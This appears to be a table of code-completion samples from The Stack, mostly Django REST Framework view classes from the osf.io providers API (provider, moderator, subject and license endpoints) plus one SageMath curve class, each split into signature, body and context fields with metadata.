| 64 | 64 | 148 | 17 | 46 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderHighlightedTaxonomyList | GenericProviderHighlightedTaxonomyList | 298 | 313 | 298 | 298 | 61557c6534760a85c3a15929ebd9c57cc62b29d2 | bigcode/the-stack | train |
8ef6c89b7c8debbe75d2840e | train | class | class RegistrationProviderList(GenericProviderList):
model_class = RegistrationProvider
serializer_class = RegistrationProviderSerializer
view_category = 'registration-providers'
view_name = 'registration-providers-list'
| class RegistrationProviderList(GenericProviderList):
| model_class = RegistrationProvider
serializer_class = RegistrationProviderSerializer
view_category = 'registration-providers'
view_name = 'registration-providers-list'
| def get_queryset(self):
return self.get_queryset_from_request()
class CollectionProviderList(GenericProviderList):
model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-providers-list'
class Registrat... | 64 | 64 | 42 | 8 | 56 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderList | RegistrationProviderList | 110 | 114 | 110 | 110 | 89a2c02c3495b7fc2c18b58241533bdcf917c75f | bigcode/the-stack | train |
fe56a4847b40c8e10736ed7f | train | class | class GenericProviderTaxonomies(JSONAPIBaseView, generics.ListAPIView):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.NULL]
serializer_class =... | class GenericProviderTaxonomies(JSONAPIBaseView, generics.ListAPIView):
| permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.NULL]
serializer_class = TaxonomySerializer
pagination_class = IncreasedPageSizePagination
... | serializer):
if serializer.instance.is_reviewed:
raise Conflict('Reviews settings may be set only once. Contact support@osf.io if you need to update them.')
super(PreprintProviderDetail, self).perform_update(serializer)
class GenericProviderTaxonomies(JSONAPIBaseView, generics.ListAPIView):... | 64 | 64 | 203 | 15 | 49 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderTaxonomies | GenericProviderTaxonomies | 214 | 236 | 214 | 214 | b1df7b60980565b7211b523ad9365f03a589e1af | bigcode/the-stack | train |
2da5b083cd3232340e69a8bc | train | class | class PreprintProviderDetail(GenericProviderDetail, generics.UpdateAPIView):
"""The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_detail).
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenH... | class PreprintProviderDetail(GenericProviderDetail, generics.UpdateAPIView):
| """The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_detail).
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
CanSetUpProvider,
)
model_class = PreprintProvider
... | view_name = 'collection-provider-detail'
class RegistrationProviderDetail(GenericProviderDetail):
model_class = RegistrationProvider
serializer_class = RegistrationProviderSerializer
view_category = 'registration-providers'
view_name = 'registration-provider-detail'
class PreprintProviderDetail(Ge... | 64 | 64 | 164 | 14 | 50 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderDetail | PreprintProviderDetail | 195 | 211 | 195 | 195 | a88231549aecae5afc43f3e024a2a4d0c50d92a0 | bigcode/the-stack | train |
bae7521ce0c701bb33e4e6f3 | train | class | class RegistrationProviderRequestList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'requests... | class RegistrationProviderRequestList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
| provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'requests'
view_name = 'registration-provider-request-list'
required_read_scopes = [CoreScopes.REGISTRATION_RE... | ('meta[reviews_state_counts]', False)):
provider = self.get_provider()
context['meta'] = {
'reviews_state_counts': provider.get_reviewable_state_counts(),
}
return context
class RegistrationProviderRequestList(JSONAPIBaseView, generics.ListAPIView, ListFilterM... | 64 | 64 | 156 | 22 | 41 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderRequestList | RegistrationProviderRequestList | 733 | 755 | 733 | 733 | 44e57e14f91be32aad9d6e695a76851162cec028 | bigcode/the-stack | train |
662c9124c46085301f90be18 | train | class | class RegistrationProviderSubmissionList(JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin, ProviderMixin):
provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
CanSubmitToCollectionOrPublic,
base_permissions.TokenHasScope,
... | class RegistrationProviderSubmissionList(JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin, ProviderMixin):
| provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
CanSubmitToCollectionOrPublic,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.COLLECTED_META_READ]
required_write_scopes = [CoreScopes.COLLECTED_META_... | _from_request()
def perform_create(self, serializer):
user = self.request.user
provider = self.get_provider()
if provider and provider.primary_collection:
return serializer.save(creator=user, collection=provider.primary_collection)
raise ValidationError('Provider {} has ... | 89 | 89 | 298 | 23 | 66 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderSubmissionList | RegistrationProviderSubmissionList | 499 | 534 | 499 | 499 | 38e17e6c5642211e13d2ddee14261978c6abca38 | bigcode/the-stack | train |
8235639a92e6681e76796a29 | train | class | class PreprintProviderSubjects(BaseProviderSubjects):
"""The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_subjects_list).
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, pr... | class PreprintProviderSubjects(BaseProviderSubjects):
| """The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_subjects_list).
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, privatize to avoid issues
| CollectionProvider # Not actually the model being serialized, privatize to avoid issues
class RegistrationProviderSubjects(BaseProviderSubjects):
view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
class Preprin... | 64 | 64 | 71 | 9 | 54 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderSubjects | PreprintProviderSubjects | 291 | 295 | 291 | 291 | cd916998e841fcd81027da995e5a681bce0d3752 | bigcode/the-stack | train |
e5e07bc2eff61546a9944ed4 | train | class | class PreprintProviderTaxonomies(GenericProviderTaxonomies):
"""
To be deprecated: In favor of PreprintProviderSubjects
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
| class PreprintProviderTaxonomies(GenericProviderTaxonomies):
| """
To be deprecated: In favor of PreprintProviderSubjects
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
| To be deprecated: In favor of RegistrationProviderSubjects
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
class PreprintProviderTaxonomies(GenericProviderTaxonomies):
| 64 | 64 | 69 | 11 | 53 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderTaxonomies | PreprintProviderTaxonomies | 257 | 264 | 257 | 257 | da7ef600a37e87e320ac2a23eccdd03961373a19 | bigcode/the-stack | train |
575c2b38dc723c4a511a69fa | train | class | class CollectionProviderDetail(GenericProviderDetail):
model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-provider-detail'
| class CollectionProviderDetail(GenericProviderDetail):
| model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-provider-detail'
| CoreScopes.PROVIDERS_WRITE]
def get_object(self):
provider = get_object_or_error(self.model_class, self.kwargs['provider_id'], self.request, display_name=self.model_class.__name__)
self.check_object_permissions(self.request, provider)
return provider
class CollectionProviderDetail(GenericPr... | 64 | 64 | 41 | 8 | 55 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderDetail | CollectionProviderDetail | 181 | 185 | 181 | 181 | d728bdcfeb24f142100937c64551853de007076f | bigcode/the-stack | train |
b62fdeaf7f036c14f39df83f | train | class | class CollectionProviderSubmissionList(JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin, ProviderMixin):
provider_class = CollectionProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
CanSubmitToCollectionOrPublic,
base_permissions.TokenHasScope,
)
... | class CollectionProviderSubmissionList(JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin, ProviderMixin):
| provider_class = CollectionProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
CanSubmitToCollectionOrPublic,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.COLLECTED_META_READ]
required_write_scopes = [CoreScopes.COLLECTED_META_WR... | auth_user = getattr(auth, 'user', None)
provider = self.get_provider()
if auth_user and auth_user.has_perm('view_submissions', provider):
context['meta'] = {
'reviews_state_counts': provider.get_reviewable_state_counts(),
}
return cont... | 83 | 83 | 277 | 23 | 59 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderSubmissionList | CollectionProviderSubmissionList | 461 | 496 | 461 | 461 | 4be549355cb6285aa567844a157d430b6d5488ee | bigcode/the-stack | train |
f3c12d69bd95f717500354d6 | train | class | class CollectionProviderList(GenericProviderList):
model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-providers-list'
| class CollectionProviderList(GenericProviderList):
| model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-providers-list'
| = [CoreScopes.NULL]
pagination_class = MaxSizePagination
ordering = ('name', )
def get_default_queryset(self):
return self.model_class.objects.all()
# overrides ListAPIView
def get_queryset(self):
return self.get_queryset_from_request()
class CollectionProviderList(GenericProvide... | 64 | 64 | 42 | 8 | 56 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderList | CollectionProviderList | 103 | 107 | 103 | 103 | 61f8c38641f57844dcd155befa2a9d6b4b022d30 | bigcode/the-stack | train |
c7a418fb0b4f02e8b382a100 | train | class | class RegistrationProviderDetail(GenericProviderDetail):
model_class = RegistrationProvider
serializer_class = RegistrationProviderSerializer
view_category = 'registration-providers'
view_name = 'registration-provider-detail'
| class RegistrationProviderDetail(GenericProviderDetail):
| model_class = RegistrationProvider
serializer_class = RegistrationProviderSerializer
view_category = 'registration-providers'
view_name = 'registration-provider-detail'
| __)
self.check_object_permissions(self.request, provider)
return provider
class CollectionProviderDetail(GenericProviderDetail):
model_class = CollectionProvider
serializer_class = CollectionProviderSerializer
view_category = 'collection-providers'
view_name = 'collection-provider-detai... | 64 | 64 | 41 | 8 | 56 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderDetail | RegistrationProviderDetail | 188 | 192 | 188 | 188 | 983e2c17f600dfff3f0576072a7c7e683c67456b | bigcode/the-stack | train |
e48f35e1839557952f43291e | train | class | class ProviderModeratorsList(ModeratorMixin, JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin):
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
CanAddModerator,
)
view_name = 'provider-moderator-list'
r... | class ProviderModeratorsList(ModeratorMixin, JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin):
| permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
CanAddModerator,
)
view_name = 'provider-moderator-list'
required_read_scopes = [CoreScopes.MODERATORS_READ]
required_write_scopes = [CoreScopes.MODERATORS_WRITE]... | *args, **kwargs):
ctx = super(ModeratorMixin, self).get_serializer_context(*args, **kwargs)
ctx.update({'provider': self.get_provider()})
return ctx
class ProviderModeratorsList(ModeratorMixin, JSONAPIBaseView, generics.ListCreateAPIView, ListFilterMixin):
| 64 | 64 | 202 | 24 | 39 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | ProviderModeratorsList | ProviderModeratorsList | 588 | 611 | 588 | 588 | 7d48b0732feb02cba6ea2dd1171b8a1f0d515555 | bigcode/the-stack | train |
0dbd89d2522d501776bcb929 | train | class | class RegistrationProviderLicenseList(GenericProviderLicenseList):
view_category = 'registration-providers'
provider_class = RegistrationProvider
| class RegistrationProviderLicenseList(GenericProviderLicenseList):
| view_category = 'registration-providers'
provider_class = RegistrationProvider
| distinct() usage
return NodeLicense.objects.filter(
Q(id__in=licenses.values_list('id', flat=True)),
)
class CollectionProviderLicenseList(GenericProviderLicenseList):
view_category = 'collection-providers'
provider_class = CollectionProvider
class RegistrationProviderLicenseList(G... | 64 | 64 | 26 | 10 | 53 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderLicenseList | RegistrationProviderLicenseList | 403 | 405 | 403 | 403 | f5692cbfd853ee704fcb02badf84d33dfd31e720 | bigcode/the-stack | train |
d0d2fb22ffbcfd767e9b4a3a | train | class | class RegistrationProviderModeratorsList(ProviderModeratorsList):
provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
| class RegistrationProviderModeratorsList(ProviderModeratorsList):
| provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
| Serializer
view_category = 'preprint-providers'
class PreprintProviderModeratorsDetail(ProviderModeratorsDetail):
provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
class RegistrationProviderModeratorsList(ProviderModeratorsList):
| 64 | 64 | 36 | 12 | 52 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderModeratorsList | RegistrationProviderModeratorsList | 658 | 662 | 658 | 658 | b25ac99e0541d33ca25588983717b4295d1c0cf8 | bigcode/the-stack | train |
4cc03fca39ac25d6f534d95d | train | class | class CollectionProviderLicenseList(GenericProviderLicenseList):
view_category = 'collection-providers'
provider_class = CollectionProvider
| class CollectionProviderLicenseList(GenericProviderLicenseList):
| view_category = 'collection-providers'
provider_class = CollectionProvider
| .id)
# Since default_license could also be in acceptable_licenses, filtering
# this way to avoid duplicates without .distinct() usage
return NodeLicense.objects.filter(
Q(id__in=licenses.values_list('id', flat=True)),
)
class CollectionProviderLicenseList(GenericProviderLice... | 64 | 64 | 26 | 10 | 54 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderLicenseList | CollectionProviderLicenseList | 398 | 400 | 398 | 398 | 9688a80152cd011da2f4a2325a0d6fae76c0213e | bigcode/the-stack | train |
3338c4ba1755226c180cd6bf | train | class | class PreprintProviderWithdrawRequestList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
provider_class = PreprintProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'requests... | class PreprintProviderWithdrawRequestList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
| provider_class = PreprintProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'requests'
view_name = 'provider-withdrawal-request-list'
required_read_scopes = [CoreScopes.PREPRINT_REQUESTS_REA... | _object_or_error(RegistrationProvider, self.kwargs['provider_id'], self.request, display_name='RegistrationProvider')
if provider and provider.primary_collection:
return serializer.save(creator=user, collection=provider.primary_collection)
raise ValidationError('Provider {} has no primary co... | 88 | 88 | 295 | 24 | 64 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderWithdrawRequestList | PreprintProviderWithdrawRequestList | 537 | 573 | 537 | 537 | 85932cd39701a71398e1fe171bfa42117c09c4fa | bigcode/the-stack | train |
ef308a21d51a3f2c6bf43efd | train | class | class CollectionProviderSubjects(BaseProviderSubjects):
view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
| class CollectionProviderSubjects(BaseProviderSubjects):
| view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
| self.request, display_name=self.provider_class.__name__)
if parent:
if parent == 'null':
return provider.top_level_subjects
return optimize_subject_query(provider.all_subjects.filter(parent___id=parent))
return optimize_subject_query(provider.all_subjects)
class ... | 64 | 64 | 38 | 8 | 56 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderSubjects | CollectionProviderSubjects | 281 | 283 | 281 | 281 | 4dd876c7a9ac99830ea0fa22c56809bf08c14b80 | bigcode/the-stack | train |
12d455b352e519f371bd83b6 | train | class | class GenericProviderDetail(JSONAPIBaseView, generics.RetrieveAPIView):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.PROVIDERS_WRITE]
def get... | class GenericProviderDetail(JSONAPIBaseView, generics.RetrieveAPIView):
| permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.PROVIDERS_WRITE]
def get_object(self):
provider = get_object_or_error(self.model_class, ... | : {}'.format(valid_permissions))
return Q(id__in=get_objects_for_user(auth_user, permissions, PreprintProvider, any_perm=True))
return super(PreprintProviderList, self).build_query_from_field(field_name, operation)
class GenericProviderDetail(JSONAPIBaseView, generics.RetrieveAPIView):
| 64 | 64 | 115 | 15 | 49 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderDetail | GenericProviderDetail | 167 | 179 | 167 | 167 | dfc8a04b786203bd485c99bf631aec7e5d011fe9 | bigcode/the-stack | train |
bafefcc8a6992ca35def47a8 | train | class | class PreprintProviderPreprintList(JSONAPIBaseView, generics.ListAPIView, PreprintFilterMixin, ProviderMixin):
"""The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_providers_preprints_list).
"""
provider_class = PreprintProvider
permission_classes = (
... | class PreprintProviderPreprintList(JSONAPIBaseView, generics.ListAPIView, PreprintFilterMixin, ProviderMixin):
| """The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_providers_preprints_list).
"""
provider_class = PreprintProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
PreprintPubli... | id', flat=True)),
)
class CollectionProviderLicenseList(GenericProviderLicenseList):
view_category = 'collection-providers'
provider_class = CollectionProvider
class RegistrationProviderLicenseList(GenericProviderLicenseList):
view_category = 'registration-providers'
provider_class = Registr... | 113 | 113 | 379 | 25 | 87 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderPreprintList | PreprintProviderPreprintList | 413 | 459 | 413 | 413 | ff285f2359c81273fa50836206a939bddd71048b | bigcode/the-stack | train |
8ca06aa80e10d9026511f59e | train | class | class PreprintProviderModeratorsList(ProviderModeratorsList):
provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
| class PreprintProviderModeratorsList(ProviderModeratorsList):
| provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
| , 'permission_group', perm_group)
return user
def perform_destroy(self, instance):
try:
self.get_provider().remove_from_group(instance, instance.permission_group)
except ValueError as e:
raise ValidationError(str(e))
class PreprintProviderModeratorsList(ProviderModer... | 64 | 64 | 40 | 13 | 51 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderModeratorsList | PreprintProviderModeratorsList | 644 | 648 | 644 | 644 | 049a393b44636de412284a0eff057a7f5dd4254c | bigcode/the-stack | train |
d24243a97892a8da57e0b8ba | train | class | class PreprintProviderLicenseList(GenericProviderLicenseList):
view_category = 'preprint-providers'
provider_class = PreprintProvider
| class PreprintProviderLicenseList(GenericProviderLicenseList):
| view_category = 'preprint-providers'
provider_class = PreprintProvider
| )
class CollectionProviderLicenseList(GenericProviderLicenseList):
view_category = 'collection-providers'
provider_class = CollectionProvider
class RegistrationProviderLicenseList(GenericProviderLicenseList):
view_category = 'registration-providers'
provider_class = RegistrationProvider
class Prepr... | 64 | 64 | 29 | 11 | 52 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderLicenseList | PreprintProviderLicenseList | 408 | 410 | 408 | 408 | 01b378e691c4e3a0e447033f5a9884ff90f41aff | bigcode/the-stack | train |
60f10c575175d9ce0f84a537 | train | class | class RegistrationProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'registration-providers'
provider_class = RegistrationProvider
| class RegistrationProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
| view_category = 'registration-providers'
provider_class = RegistrationProvider
| ProviderHighlightedTaxonomyList):
view_name = 'highlighted-subject-list'
serializer_class = SubjectSerializer
class CollectionProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'collection-providers'
provider_class = CollectionProvider
class RegistrationProviderHigh... | 64 | 64 | 28 | 12 | 51 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderHighlightedSubjectList | RegistrationProviderHighlightedSubjectList | 356 | 358 | 356 | 356 | bdd91b48a6f1043f7a01631be53a4de710434c6d | bigcode/the-stack | train |
84864b40629d42515a816638 | train | class | class ProviderModeratorsDetail(ModeratorMixin, JSONAPIBaseView, generics.RetrieveUpdateDestroyAPIView):
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
CanUpdateModerator,
CanDeleteModerator,
)
view_name = 'prov... | class ProviderModeratorsDetail(ModeratorMixin, JSONAPIBaseView, generics.RetrieveUpdateDestroyAPIView):
| permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
CanUpdateModerator,
CanDeleteModerator,
)
view_name = 'provider-moderator-detail'
required_read_scopes = [CoreScopes.MODERATORS_READ]
required_write_scope... | =Case(
When(groups=admin_group, then=Value(ADMIN)),
default=Value('moderator'),
output_field=CharField(),
)).order_by('fullname')
def get_queryset(self):
return self.get_queryset_from_request()
class ProviderModeratorsDetail(ModeratorMixin, JSONAPIBaseView, gener... | 75 | 75 | 253 | 22 | 53 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | ProviderModeratorsDetail | ProviderModeratorsDetail | 613 | 641 | 613 | 613 | 9c458a42322d4a68b64e168469f1ff15496bd3c0 | bigcode/the-stack | train |
b528d64f73bef5e1567bad09 | train | class | class CollectionProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
"""
To be deprecated: In favor of CollectionProviderHighlightedSubjectList
"""
view_category = 'collection-providers'
provider_class = CollectionProvider
max_version = '2.14'
| class CollectionProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| """
To be deprecated: In favor of CollectionProviderHighlightedSubjectList
"""
view_category = 'collection-providers'
provider_class = CollectionProvider
max_version = '2.14'
| args['provider_id'], self.request, display_name=self.provider_class.__name__)
return optimize_subject_query(Subject.objects.filter(id__in=[s.id for s in provider.highlighted_subjects]).order_by('text'))
class CollectionProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| 63 | 64 | 61 | 18 | 45 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderHighlightedTaxonomyList | CollectionProviderHighlightedTaxonomyList | 316 | 323 | 316 | 316 | da734d53116bec3197fd6725d5232c6c2cceb8da | bigcode/the-stack | train |
360751ee999d7f10032ea468 | train | class | class GenericProviderHighlightedSubjectList(GenericProviderHighlightedTaxonomyList):
view_name = 'highlighted-subject-list'
serializer_class = SubjectSerializer
| class GenericProviderHighlightedSubjectList(GenericProviderHighlightedTaxonomyList):
| view_name = 'highlighted-subject-list'
serializer_class = SubjectSerializer
| HighlightedTaxonomyList):
"""
To be deprecated: In favor of PreprintProviderHighlightedSubjectList
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider
max_version = '2.14'
class GenericProviderHighlightedSubjectList(GenericProviderHighlightedTaxonomyList):
| 64 | 64 | 31 | 13 | 51 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderHighlightedSubjectList | GenericProviderHighlightedSubjectList | 346 | 348 | 346 | 346 | 7c993d8f3f57ad7a64ee190eebde9a152f128095 | bigcode/the-stack | train |
c8a3fb5fac21808e5db7acd9 | train | class | class CollectionProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'collection-providers'
provider_class = CollectionProvider
| class CollectionProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
| view_category = 'collection-providers'
provider_class = CollectionProvider
| print-providers'
provider_class = PreprintProvider
max_version = '2.14'
class GenericProviderHighlightedSubjectList(GenericProviderHighlightedTaxonomyList):
view_name = 'highlighted-subject-list'
serializer_class = SubjectSerializer
class CollectionProviderHighlightedSubjectList(GenericProviderHighli... | 64 | 64 | 28 | 12 | 51 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderHighlightedSubjectList | CollectionProviderHighlightedSubjectList | 351 | 353 | 351 | 351 | 0eb28eb09033e02481efed4aa6ebe395eb14b224 | bigcode/the-stack | train |
01c15ecd1f1537d1774d19d3 | train | class | class RegistrationProviderSubjects(BaseProviderSubjects):
view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
| class RegistrationProviderSubjects(BaseProviderSubjects):
| view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
| s.filter(parent___id=parent))
return optimize_subject_query(provider.all_subjects)
class CollectionProviderSubjects(BaseProviderSubjects):
view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
class Registration... | 64 | 64 | 38 | 8 | 55 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderSubjects | RegistrationProviderSubjects | 286 | 288 | 286 | 286 | b8dafc6b9a197dc21f59129e6e901e3077cd0807 | bigcode/the-stack | train |
95f68790ee1a0c3a01657b4b | train | class | class CollectionProviderTaxonomies(DeprecatedView, GenericProviderTaxonomies):
"""
To be deprecated: In favor of CollectionProviderSubjects
"""
view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
max_ve... | class CollectionProviderTaxonomies(DeprecatedView, GenericProviderTaxonomies):
| """
To be deprecated: In favor of CollectionProviderSubjects
"""
view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
| .provider_class.__name__)
if parent:
if parent == 'null':
return provider.top_level_subjects
return optimize_subject_query(provider.all_subjects.filter(parent___id=parent))
return optimize_subject_query(provider.all_subjects)
class CollectionProviderTaxonomies(Dep... | 64 | 64 | 69 | 14 | 50 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | CollectionProviderTaxonomies | CollectionProviderTaxonomies | 239 | 246 | 239 | 239 | 706bafee9b2c862d07d43b7de62fda26299ea0b7 | bigcode/the-stack | train |
169dc618c1408320572d20f2 | train | class | class PreprintProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'preprint-providers'
provider_class = PreprintProvider
| class PreprintProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
| view_category = 'preprint-providers'
provider_class = PreprintProvider
| List(GenericProviderHighlightedSubjectList):
view_category = 'collection-providers'
provider_class = CollectionProvider
class RegistrationProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'registration-providers'
provider_class = RegistrationProvider
class Preprint... | 64 | 64 | 31 | 13 | 50 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderHighlightedSubjectList | PreprintProviderHighlightedSubjectList | 361 | 363 | 361 | 361 | a95a66d5e1419874f5ee5439508a5c6402f6cf19 | bigcode/the-stack | train |
7f90a591331a9db217ee5cd8 | train | class | class ModeratorMixin(ProviderMixin):
provider_class = PreprintProvider
model_class = OSFUser
def get_provider(self):
return get_object_or_error(self.provider_type, self.kwargs['provider_id'], self.request, display_name='PreprintProvider')
def get_serializer_context(self, *args, **kwargs):
... | class ModeratorMixin(ProviderMixin):
| provider_class = PreprintProvider
model_class = OSFUser
def get_provider(self):
return get_object_or_error(self.provider_type, self.kwargs['provider_id'], self.request, display_name='PreprintProvider')
def get_serializer_context(self, *args, **kwargs):
ctx = super(ModeratorMixin, self)... | _provider()
if auth_user and auth_user.has_perm('view_submissions', provider):
context['meta'] = {
'requests_state_counts': provider.get_request_state_counts(),
}
return context
def get_queryset(self):
return self.get_queryset_from_req... | 64 | 64 | 103 | 7 | 57 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | ModeratorMixin | ModeratorMixin | 575 | 585 | 575 | 575 | 9020eca52ef36af39222c6f98062ae59b7f74cb1 | bigcode/the-stack | train |
1ddc1d1ce3a6eb4c16e9abc8 | train | class | class HyperellipticCurve_g2_padic_field(
hyperelliptic_g2_generic.HyperellipticCurve_g2_generic,
hyperelliptic_padic_field.HyperellipticCurve_padic_field):
pass
| class HyperellipticCurve_g2_padic_field(
hyperelliptic_g2_generic.HyperellipticCurve_g2_generic,
hyperelliptic_padic_field.HyperellipticCurve_padic_field):
| pass
| hyperelliptic_g2_generic, hyperelliptic_padic_field
class HyperellipticCurve_g2_padic_field(
hyperelliptic_g2_generic.HyperellipticCurve_g2_generic,
hyperelliptic_padic_field.HyperellipticCurve_padic_field):
